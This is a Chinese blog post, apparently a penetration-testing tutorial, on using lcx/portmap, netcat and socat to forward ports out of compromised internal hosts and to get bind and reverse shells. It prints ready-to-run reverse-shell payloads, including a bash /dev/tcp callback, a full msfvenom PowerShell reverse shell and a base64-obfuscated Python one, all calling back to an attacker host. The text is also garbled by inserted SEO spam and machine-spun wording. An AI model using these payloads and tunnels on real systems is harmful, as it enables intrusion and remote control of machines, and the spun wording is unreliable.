1、lcx使用

lcx分为Windows版和Linux版,Linux版叫portmap

Windows

内网失陷主机lcx.exe -slave rhost rport lhost lport
公网代理主机lcx.exe -listen lport1 lport2

内网失陷主机lcx.exe -slave 123.123.123.123 4444 127.0.0.1 3389
公网代理主机lcx.exe -listen 4444 5555

在构建联接后,访问网段代理主机的5555端口能够访问到外网进犯主机的3389端口了。

假如目标主机不能出网,这时可以借助外网中才能出网的主机,将其不能出网的主机端口映射到自身上,再利用端口转发到网段进行访问。

lcx.exe -tran 53 <目标主机 IP 地址> 3389

Linux

内网失陷主机./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 <公网主机 IP> -p2 4444
公网代理主机./portmap -m 2 -p1 4444 -h2 <公网主机 IP> -p2 5555

此时访问网段主机IP的5555端口,都会访问到外网进犯主机的22端口了。

2、netcat使用

portmap linux_portmap linux_portmap linux

nc下载地址:

nc全称netcat,它的功能好多,这儿简单记录下两个常用的功能,其他的例如文件传输、端口扫描等等的就不介绍了,虽然平常使用频度有一说一还是比较少的。

 -l 开启监听状态 -v 显示详细信息 -p 指定监听的本地端口 -k 客户端断掉连接时,服务端依然保持运行 -e 将传入的信息以命令执行 -n 直接使用 IP 地址,不进行 dns 解析过程

获取banner信息

个人觉得最常用的功能,这个除了可以拿来查看banner信息,就能拿来判定端口是否开放。

nc -vv rhost rport

> nc -v 172.16.214.43 22Connection to 172.16.214.43 port 22 [tcp/ssh] succeeded!SSH-2.0-OpenSSH_8.4p1 Debian-3

大跌shell

个人觉得这个也是最常用的功能,可以使用-e指定/bin/bash进行大跌portmap linux,也可以直接-c指定bash或则cmd

-e指定大跌shell

# 失陷主机nc -lvp lport -e /bin/bash        # linux 主机nc -lvp lport -e c:windowssystem32cmd.exe     # windows 主机
# 控制端nc rhost rport

# 失陷主机> nc -lvp 4444 -e /bin/bashlistening on [any] 4444 ...172.16.214.1: inverse host lookup failed: Unknown hostconnect to [172.16.214.43] from (UNKNOWN) [172.16.214.1] 60628
# 控制端> nc -v 172.16.214.43 4444Connection to 172.16.214.43 port 4444 [tcp/krb524] succeeded!whoamiroot

-c指定大跌shell

# 失陷主机nc -lvp lprot -c bash    # linux 主机nc -lvp lport -c cmd     # windows 主机
# 控制端nc rhost rport

# 失陷主机> nc -lvp 4444 -c bashlistening on [any] 4444 ...172.16.214.1: inverse host lookup failed: Unknown hostconnect to [172.16.214.43] from (UNKNOWN) [172.16.214.1] 60635
# 控制端> nc -v 172.16.214.43 4444Connection to 172.16.214.43 port 4444 [tcp/krb524] succeeded!whoamiroot

结合其他语言进行大跌shell

# 失陷主机bash -i >& /dev/tcp/rhost/rport 0>&1
# 控制端nc -lvp lprot

# 失陷主机> bash -i >& /dev/tcp/172.16.214.43/4444 0>&1
# 控制端> nc -lp 4444root@ubuntu:~# whoamiwhoamiroot

不仅bash也可以使用其他的语言进行大跌shell,这儿可以使用msfvenom生成大跌shell,操作上去比较便捷,使用msfvenom-lpayload|grep"cmd/"可查看可使用的payload

例如使用cmd/windows/reverse_powershell这个payload

# 控制端> msfvenom -p cmd/windows/reverse_powershell lhost=172.16.214.43 lport=4444[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload[-] No arch selected, selecting arch: cmd from the payloadNo encoder specified, outputting raw payloadPayload size: 1586 bytespowershell -w hidden -nop -c $a='172.16.214.43';$b=4444;$c=New-Object system.net.sockets.tcpclient;$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$ob=New-Object System.Byte[] 65536;$eb=New-Object System.Byte[] 65536;$e=new-object System.Text.UTF8Encoding;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.RedirectStandardError=1;$p.StartInfo.UseShellExecute=0;$q=$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;$es=$p.StandardError;$osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);$esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);$c.connect($a,$b);$s=$c.GetStream();while ($true) {    start-sleep -m 100;    if ($osread.IsCompleted -and $osread.Result -ne 0) {      $r=$os.BaseStream.EndRead($osread);      $s.Write($ob,0,$r);      $s.Flush();      $osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);    }    if ($esread.IsCompleted -and $esread.Result -ne 0) {      $r=$es.BaseStream.EndRead($esread);      $s.Write($eb,0,$r);      $s.Flush();      $esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);    }    if ($s.DataAvailable) {      $r=$s.Read($nb,0,$nb.Length);      if ($r -lt 1) {          break;      } else {          $str=$e.GetString($nb,0,$r);          $is.write($str);      }    }    if ($c.Connected -ne $true -or ($c.Client.Poll(1,[System.Net.Sockets.SelectMode]::SelectRead) -and $c.Client.Available -eq 0)) {        break;    }    if ($p.ExitCode -ne $null) {        break;    }}
> nc -lvp 4444

将生成的payload复制到进犯主机上运行,即可收到回调回的shell

portmap linux_portmap linux_portmap linux

再例如使用cmd/unix/reverse_python这个payload

# 控制端> msfvenom -p cmd/unix/reverse_python lhost=172.16.214.43 lport=4444[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload[-] No arch selected, selecting arch: cmd from the payloadNo encoder specified, outputting raw payloadPayload size: 505 bytespython -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgICwgc3VicHJvY2VzcyAgICwgb3M7ICAgICAgaG9zdD0iMTcyLjE2LjIxNC40MyI7ICAgICAgcG9ydD00NDQ0OyAgICAgIHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCAgICwgc29ja2V0LlNPQ0tfU1RSRUFNKTsgICAgICBzLmNvbm5lY3QoKGhvc3QgICAsIHBvcnQpKTsgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAsIDApOyAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICwgMSk7ICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgLCAyKTsgICAgICBwPXN1YnByb2Nlc3MuY2FsbCgiL2Jpbi9iYXNoIik=')[0]))"
> nc -lvp 4444

同样将生成的payload复制到进犯主机上运行,即可收到回调回去的shell,其实前提是目标主机安装了python

3、socat使用

socat下载地址:,或则直接使用apt-getinstallsocat安装,Mac可使用brewinstallsocat安装。

socat全称socketcat,可以视为nc的强化版,不过平常觉得nc也够用了,而且nc如今似乎会被杀软杀掉,但是其实nc好久没更新了,总之多把握点知识没益处。

文件操作

读取文件

> socat - ./test.txt      # 相对路径读取test
> socat - /tmp/test.txt # 绝对路径读取test

写入文件

portmap linux_portmap linux_portmap linux

> echo "hello world" | socat - ./test.txt> socat - ./test.txttesthello world

网路操作

联接远程端口

> socat - TCP:172.16.214.1:22SSH-2.0-OpenSSH_7.4

窃听端口

socat - TCP-LISTEN:8002

端口转发

转发TCP端口

个人觉得这个是比较常用到的功能,在使用CS做重定向器时,就可以使用socat进行端口的转发。

socat TCP4-LISTEN:80,fork TCP4:123.123.123.123:80

这样在访问当前主机的80端口时linux系统教程,都会访问到123.123.123.123的80端口了,也可以使用-d调整输出信息的详尽程度,最多使用四个d,推荐使用两个adobe air linux,即-dd

portmap linux_portmap linux_portmap linux

socat -dd TCP4-LISTEN:80,fork TCP4:123.123.123.123:80

转发UDP端口

和前面一样portmap linux,将TCP改成UDP即可

socat UDP4-LISTEN:80,fork UDP4:123.123.123.123:80

NAT映射

通过socat可以将外网端口映射到网段上,不过这些场景还是更推荐用frp

# 内网主机socat tcp:123.123.123.123:4444 tcp:127.0.0.1:3389
# 公网主机socat tcp-listen:4444 tcp-listen:5555

此时访问网段主机的5555端口就可以访问到外网主机的3389端口了

考虑到socat的其他功能平常也极少使用到,这儿就不过多介绍了,网上相关文章也有好多,在此就不赘言了。

参考文章:

往期文章

Tagged:
Author

这篇优质的内容由TA贡献而来

刘遄

《Linux就该这么学》书籍作者,RHCA认证架构师,教育学(计算机专业硕士)。

发表回复